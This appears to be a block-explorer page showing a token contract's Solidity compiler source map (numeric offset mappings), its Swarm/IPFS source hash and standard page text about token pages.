;;;;10173:63:0;;;;;;;-1:-1:-1;;;;;5681:15:1;;;10173:63:0;;;5663:34:1;5733:15;;;5713:18;;;5706:43;5598:18;;10173:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10146:90;;10275:15;10255:16;:35;;10247:85;;;;-1:-1:-1;;;10247:85:0;;7116:2:1;10247:85:0;;;7098:21:1;7155:2;7135:18;;;7128:30;7194:34;7174:18;;;7167:62;-1:-1:-1;;;7245:18:1;;;7238:35;7290:19;;10247:85:0;6914:401:1;10247:85:0;10368:67;175:10;10391:7;10419:15;10400:16;:34;10368:8;:67::i;:::-;-1:-1:-1;10464:4:0;;10036:440;-1:-1:-1;;;10036:440:0:o;8721:175::-;8807:4;8824:42;175:10;8848:9;8859:6;8824:9;:42::i;16441:182::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16526:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;16526:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;16581:34;;1247:41:1;;;16581:34:0::1;::::0;1220:18:1;16581:34:0::1;;;;;;;16441:182:::0;;:::o;16002:256::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;16142:4:::1;16134;16113:13;8562:12:::0;;;8474:108;16113:13:::1;:17;::::0;16129:1:::1;16113:17;:::i;:::-;16112:26;;;;:::i;:::-;16111:35;;;;:::i;:::-;16101:6;:45;;16079:131;;;::::0;-1:-1:-1;;;16079:131:0;;7522:2:1;16079:131:0::1;::::0;::::1;7504:21:1::0;7561:2;7541:18;;;7534:30;7600:34;7580:18;;;7573:62;-1:-1:-1;;;7651:18:1;;;7644:34;7695:19;;16079:131:0::1;7320:400:1::0;16079:131:0::1;16233:17;:6:::0;16243::::1;16233:17;:::i;:::-;16221:9;:29:::0;-1:-1:-1;16002:256:0:o;8902:180::-;9035:15;;9018:56;;-1:-1:-1;;;9018:56:0;;-1:-1:-1;;;;;5681:15:1;;;9018:56:0;;;5663:34:1;5733:15;;;5713:18;;;5706:43;8991:7:0;;9035:15;;9018:40;;5598:18:1;;9018:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9011:63;8902:180;-1:-1:-1;;;8902:180:0:o;776:201::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;865:22:0;::::1;857:73;;;::::0;-1:-1:-1;;;857:73:0;;7927:2:1;857:73:0::1;::::0;::::1;7909:21:1::0;7966:2;7946:18;;;7939:30;8005:34;7985:18;;;7978:62;-1:-1:-1;;;8056:18:1;;;8049:36;8102:19;;857:73:0::1;7725:402:1::0;857:73:0::1;941:28;960:8;941:18;:28::i;:::-;776:201:::0;:::o;11795:492::-;-1:-1:-1;;;;;11931:19:0;;11923:68;;;;-1:-1:-1;;;11923:68:0;;8334:2:1;11923:68:0;;;8316:21:1;8373:2;8353:18;;;8346:30;8412:34;8392:18;;;8385:62;-1:-1:-1;;;8463:18:1;;;8456:34;8507:19;;11923:68:0;8132:400:1;11923:68:0;-1:-1:-1;;;;;12010:21:0;;12002:68;;;;-1:-1:-1;;;12002:68:0;;8739:2:1;12002:68:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:32;8910:19;;12002:68:0;8537:398:1;12002:68:0;12099:15;;12120:83;;-1:-1:-1;;;;;9198:15:1;;;12120:83:0;;;9180:34:1;9250:15;;;9230:18;;;9223:43;9282:18;;;9275:34;;;12082:12:0;;12099:15;;9115:18:1;;12120:83:0;;;-1:-1:-1;;12120:83:0;;;;;;;;;;;;;;-1:-1:-1;;;;;12120:83:0;-1:-1:-1;;;12120:83:0;;;12099:105;;;12120:83;12099:105;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12081:123;;;12223:7;12215:16;;;;;;12263:7;-1:-1:-1;;;;;12247:32:0;12256:5;-1:-1:-1;;;;;12247:32:0;;12272:6;12247:32;;;;1870:25:1;;1858:2;1843:18;;1724:177;12247:32:0;;;;;;;;11912:375;11795:492;;;:::o;17746:1886::-;-1:-1:-1;;;;;17869:18:0;;17861:68;;;;-1:-1:-1;;;17861:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17948:16:0;;17940:64;;;;-1:-1:-1;;;17940:64:0;;;;;;;:::i;:::-;18019:6;18029:1;18019:11;18015:92;;18047:27;18062:4;18068:2;18072:1;18047:14;:27::i;:::-;17746:1886;;;:::o;18015:92::-;18121:14;;;;18117:1421;;;488:7;515:6;-1:-1:-1;;;;;18174:15:0;;;515:6;;18174:15;;;;:49;;-1:-1:-1;488:7:0;515:6;-1:-1:-1;;;;;18210:13:0;;;515:6;;18210:13;;18174:49;:86;;;;-1:-1:-1;;;;;;18244:16:0;;;;18174:86;:128;;;;-1:-1:-1;;;;;;18281:21:0;;18295:6;18281:21;;18174:128;18152:1375;;;-1:-1:-1;;;;;18391:31:0;;;;;;:25;:31;;;;;;;;:92;;;;-1:-1:-1;;;;;;18448:35:0;;;;;;:31;:35;;;;;;;;18447:36;18391:92;18365:1147;;;18570:20;;18560:6;:30;;18526:169;;;;-1:-1:-1;;;18526:169:0;;10624:2:1;18526:169:0;;;10606:21:1;10663:2;10643:18;;;10636:30;10702:34;10682:18;;;10675:62;-1:-1:-1;;;10753:18:1;;;10746:51;10814:19;;18526:169:0;10422:417:1;18526:169:0;18778:9;;-1:-1:-1;;;;;8689:18:0;;8662:7;8689:18;;;:9;:18;;;;;;18752:22;;:6;:22;:::i;:::-;:35;;18718:140;;;;-1:-1:-1;;;18718:140:0;;11046:2:1;18718:140:0;;;11028:21:1;11085:2;11065:18;;;11058:30;-1:-1:-1;;;11104:18:1;;;11097:49;11163:18;;18718:140:0;10844:343:1;18718:140:0;18365:1147;;;-1:-1:-1;;;;;18956:29:0;;;;;;:25;:29;;;;;;;;:92;;;;-1:-1:-1;;;;;;19011:37:0;;;;;;:31;:37;;;;;;;;19010:38;18956:92;18930:582;;;19135:20;;19125:6;:30;;19091:170;;;;-1:-1:-1;;;19091:170:0;;11394:2:1;19091:170:0;;;11376:21:1;11433:2;11413:18;;;11406:30;11472:34;11452:18;;;11445:62;-1:-1:-1;;;11523:18:1;;;11516:52;11585:19;;19091:170:0;11192:418:1;18930:582:0;-1:-1:-1;;;;;19292:35:0;;;;;;:31;:35;;;;;;;;19287:225;;19412:9;;-1:-1:-1;;;;;8689:18:0;;8662:7;8689:18;;;:9;:18;;;;;;19386:22;;:6;:22;:::i;:::-;:35;;19352:140;;;;-1:-1:-1;;;19352:140:0;;11046:2:1;19352:140:0;;;11028:21:1;11085:2;11065:18;;;11058:30;-1:-1:-1;;;11104:18:1;;;11097:49;11163:18;;19352:140:0;10844:343:1;19352:140:0;19548:33;19564:4;19570:2;19574:6;19548:15;:33::i;:::-;19592:32;19607:4;19613:2;19617:6;19592:14;:32::i;985:191::-;1059:16;1078:6;;-1:-1:-1;;;;;1095:17:0;;;-1:-1:-1;;;;;;1095:17:0;;;;;;1128:40;;1078:6;;;;;;;1128:40;;1059:16;1128:40;1048:128;985:191;:::o;17368:186::-;-1:-1:-1;;;;;17451:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;17451:39:0;;;;;;;;;;17506:40;;17451:39;;:31;17506:40;;;17368:186;;:::o;10482:1027::-;-1:-1:-1;;;;;10627:20:0;;10619:70;;;;-1:-1:-1;;;10619:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10708:23:0;;10700:71;;;;-1:-1:-1;;;10700:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10806:17:0;;10782:21;10806:17;;;:9;:17;;;;;;10842:23;;;;10834:74;;;;-1:-1:-1;;;10834:74:0;;11817:2:1;10834:74:0;;;11799:21:1;11856:2;11836:18;;;11829:30;11895:34;11875:18;;;11868:62;-1:-1:-1;;;11946:18:1;;;11939:36;11992:19;;10834:74:0;11615:402:1;10834:74:0;-1:-1:-1;;;;;10944:17:0;;;;;;;:9;:17;;;;;;10964:22;;;10944:42;;11008:20;;;;;;;;:30;;10980:6;;10944:17;11008:30;;10980:6;;11008:30;:::i;:::-;;;;-1:-1:-1;;;;;;;11053:25:0;;;;;;:14;:25;;;;;;;;11049:453;;;11143:6;11095:9;:44;11105:10;11116:21;;11105:33;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;11105:33:0;11095:44;;;;;;;;;;;;:54;;:44;;11105:33;11095:54;;;;;:::i;:::-;;;;;;;;11186:10;11197:21;;11186:33;;;;;;;;:::i;:::-;;;;;;;;;;;;11169:59;;1870:25:1;;;-1:-1:-1;;;;;11186:33:0;;;;11169:59;;;;;;1843:18:1;11169:59:0;;;;;;;11271:10;:17;:21;;11291:1;;11271:21;:::i;:::-;11247;;:45;11243:175;;;11313:21;:23;;;:21;:23;;;:::i;:::-;;;;;;11049:453;;11243:175;11401:1;11377:21;:25;11049:453;;;11472:9;-1:-1:-1;;;;;11455:35:0;11464:6;-1:-1:-1;;;;;11455:35:0;;11483:6;11455:35;;;;1870:25:1;;1858:2;1843:18;;1724:177;11049:453:0;10608:901;10482:1027;;;:::o;16943:417::-;-1:-1:-1;;;;;17033:31:0;;;;;;:25;:31;;;;;;;;17029:324;;;-1:-1:-1;;;;;17109:15:0;;17081:25;17109:15;;;:11;:15;;;;;17139:24;;17109:15;;17157:6;;17109:15;;17081:25;17139:24;;17157:6;;17139:24;:::i;:::-;;;;-1:-1:-1;;17213:12:0;;17204:21;;:6;:21;:::i;:::-;17178:4;:22;;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;17244:19:0;;;;;;:15;:19;;;;;;:24;;17240:102;;-1:-1:-1;;;;;;;17289:19:0;;;;;:15;:19;;;;;17311:15;17289:37;;-1:-1:-1;16943:417:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:173::-;738:20;;-1:-1:-1;;;;;787:31:1;;777:42;;767:70;;833:1;830;823:12;767:70;670:173;;;:::o;848:254::-;916:6;924;977:2;965:9;956:7;952:23;948:32;945:52;;;993:1;990;983:12;945:52;1016:29;1035:9;1016:29;:::i;:::-;1006:39;1092:2;1077:18;;;;1064:32;;-1:-1:-1;;;848:254:1:o;1299:186::-;1358:6;1411:2;1399:9;1390:7;1386:23;1382:32;1379:52;;;1427:1;1424;1417:12;1379:52;1450:29;1469:9;1450:29;:::i;1906:180::-;1965:6;2018:2;2006:9;1997:7;1993:23;1989:32;1986:52;;;2034:1;2031;2024:12;1986:52;-1:-1:-1;2057:23:1;;1906:180;-1:-1:-1;1906:180:1:o;2091:328::-;2168:6;2176;2184;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;2276:29;2295:9;2276:29;:::i;:::-;2266:39;;2324:38;2358:2;2347:9;2343:18;2324:38;:::i;:::-;2314:48;;2409:2;2398:9;2394:18;2381:32;2371:42;;2091:328;;;;;:::o;3145:347::-;3210:6;3218;3271:2;3259:9;3250:7;3246:23;3242:32;3239:52;;;3287:1;3284;3277:12;3239:52;3310:29;3329:9;3310:29;:::i;:::-;3300:39;;3389:2;3378:9;3374:18;3361:32;3436:5;3429:13;3422:21;3415:5;3412:32;3402:60;;3458:1;3455;3448:12;3402:60;3481:5;3471:15;;;3145:347;;;;;:::o;3497:260::-;3565:6;3573;3626:2;3614:9;3605:7;3601:23;3597:32;3594:52;;;3642:1;3639;3632:12;3594:52;3665:29;3684:9;3665:29;:::i;:::-;3655:39;;3713:38;3747:2;3736:9;3732:18;3713:38;:::i;:::-;3703:48;;3497:260;;;;;:::o;3762:380::-;3841:1;3837:12;;;;3884;;;3905:61;;3959:4;3951:6;3947:17;3937:27;;3905:61;4012:2;4004:6;4001:14;3981:18;3978:38;3975:161;;4058:10;4053:3;4049:20;4046:1;4039:31;4093:4;4090:1;4083:15;4121:4;4118:1;4111:15;3975:161;;3762:380;;;:::o;4147:356::-;4349:2;4331:21;;;4368:18;;;4361:30;4427:34;4422:2;4407:18;;4400:62;4494:2;4479:18;;4147:356::o;4508:127::-;4569:10;4564:3;4560:20;4557:1;4550:31;4600:4;4597:1;4590:15;4624:4;4621:1;4614:15;4640:168;4713:9;;;4744;;4761:15;;;4755:22;;4741:37;4731:71;;4782:18;;:::i;4813:217::-;4853:1;4879;4869:132;;4923:10;4918:3;4914:20;4911:1;4904:31;4958:4;4955:1;4948:15;4986:4;4983:1;4976:15;4869:132;-1:-1:-1;5015:9:1;;4813:217::o;5760:184::-;5830:6;5883:2;5871:9;5862:7;5858:23;5854:32;5851:52;;;5899:1;5896;5889:12;5851:52;-1:-1:-1;5922:16:1;;5760:184;-1:-1:-1;5760:184:1:o;6358:125::-;6423:9;;;6444:10;;;6441:36;;;6457:18;;:::i;9320:287::-;9449:3;9487:6;9481:13;9503:66;9562:6;9557:3;9550:4;9542:6;9538:17;9503:66;:::i;:::-;9585:16;;;;;9320:287;-1:-1:-1;;9320:287:1:o;9612:401::-;9814:2;9796:21;;;9853:2;9833:18;;;9826:30;9892:34;9887:2;9872:18;;9865:62;-1:-1:-1;;;9958:2:1;9943:18;;9936:35;10003:3;9988:19;;9612:401::o;10018:399::-;10220:2;10202:21;;;10259:2;10239:18;;;10232:30;10298:34;10293:2;10278:18;;10271:62;-1:-1:-1;;;10364:2:1;10349:18;;10342:33;10407:3;10392:19;;10018:399::o;12022:127::-;12083:10;12078:3;12074:20;12071:1;12064:31;12114:4;12111:1;12104:15;12138:4;12135:1;12128:15;12154:128;12221:9;;;12242:11;;;12239:37;;;12256:18;;:::i;12287:135::-;12326:3;12347:17;;;12344:43;;12367:18;;:::i;:::-;-1:-1:-1;12414:1:1;12403:13;;12287:135::o

Swarm Source

ipfs://dd04d42ff1f6dc0fa33510e9b039a5a9a392c767bd9687391ae9bbb0a26dc271
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.